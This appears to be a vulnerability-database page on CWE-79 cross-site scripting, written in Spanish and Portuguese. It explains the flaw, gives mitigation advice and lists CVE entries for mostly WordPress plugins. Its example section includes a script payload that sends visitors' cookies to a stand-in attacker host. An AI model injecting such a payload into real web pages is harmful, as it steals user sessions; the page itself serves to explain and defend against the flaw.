Fallos del tipo CWE-79

29.814 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-13397MEDIUMWPRadio – WordPress Radio Streaming Plugin <= 1.0.4 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2024-11974MEDIUMMedia Library Assistant <= 3.23 - Reflected Cross-Site Scripting via smc_settings_tab, unattachfixit-action, and woofixit-action ParametersEPSS 0.4%CVE-2024-8786MEDIUMAuto Featured Image from Title <= 2.3 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2026-70486HIGHOpen WebUI: Same-origin XSS to account takeover via terminal file-preview iframe hardcoding allow-same-originEPSS 0.4%CVE-2026-15306MEDIUMProduct Feed Manager For WooCommerce <= 7.6.1 - Reflected Cross-Site Scripting via 's' Search ParameterEPSS 0.4%CVE-2026-4246MEDIUMElementsKit Pro <= 4.10.1 - Unauthenticated Stored Cross-Site Scripting via 's' ParameterEPSS 0.4%CVE-2026-6696MEDIUMZingaya Click-to-Call <= 1.0 - Reflected Cross-Site Scripting via 'email' ParameterEPSS 0.4%CVE-2022-44631MEDIUMWordPress 1app Business Forms Plugin <= 1.0.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-75586MEDIUMUnlimited Elements For Elementor <= 2.0.17 - Reflected Cross-Site Scripting via 'formData[id]' ParameterEPSS 0.4%CVE-2023-23878MEDIUMWordPress WP Google Map Plugin Plugin <= 4.3.9 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2022-43461MEDIUMWordPress Slideshow SE Plugin <= 2.5.5 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-23700HIGHWordPress yCyclista plugin <= 1.2.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-13396MEDIUMFrictionless <= 0.0.23 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2026-50745MEDIUMA missing sanitisation vulnerability exists with user input in the stats-video.php script. The way URLs to this script were constructed did EPSS 0.4%CVE-2026-90981MEDIUMNewsletter <= 9.3.8 - Reflected Cross-Site Scripting via 'nn' ParameterEPSS 0.4%CVE-2025-23696HIGHWordPress Staging CDN plugin <= 1.0.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-25551MEDIUMCross Site Scripting (XSS) vulnerability in sourcecodester Simple Student Attendance System v1.0 allows attackers to execute arbitrary code EPSS 0.4%CVE-2026-4394MEDIUMGravity Forms <= 2.9.30 - Unauthenticated Stored Cross-Site Scripting via Credit Card 'Card Type' Sub-FieldEPSS 0.4%CVE-2024-43370HIGHgettext.js vulnerable to cross-site scripting (XSS)EPSS 0.4%CVE-2020-36853HIGH10WebMapBuilder <= 1.0.63 - Unauthenticated Stored Cross-Site Scripting via Plugin Settings ChangeEPSS 0.4%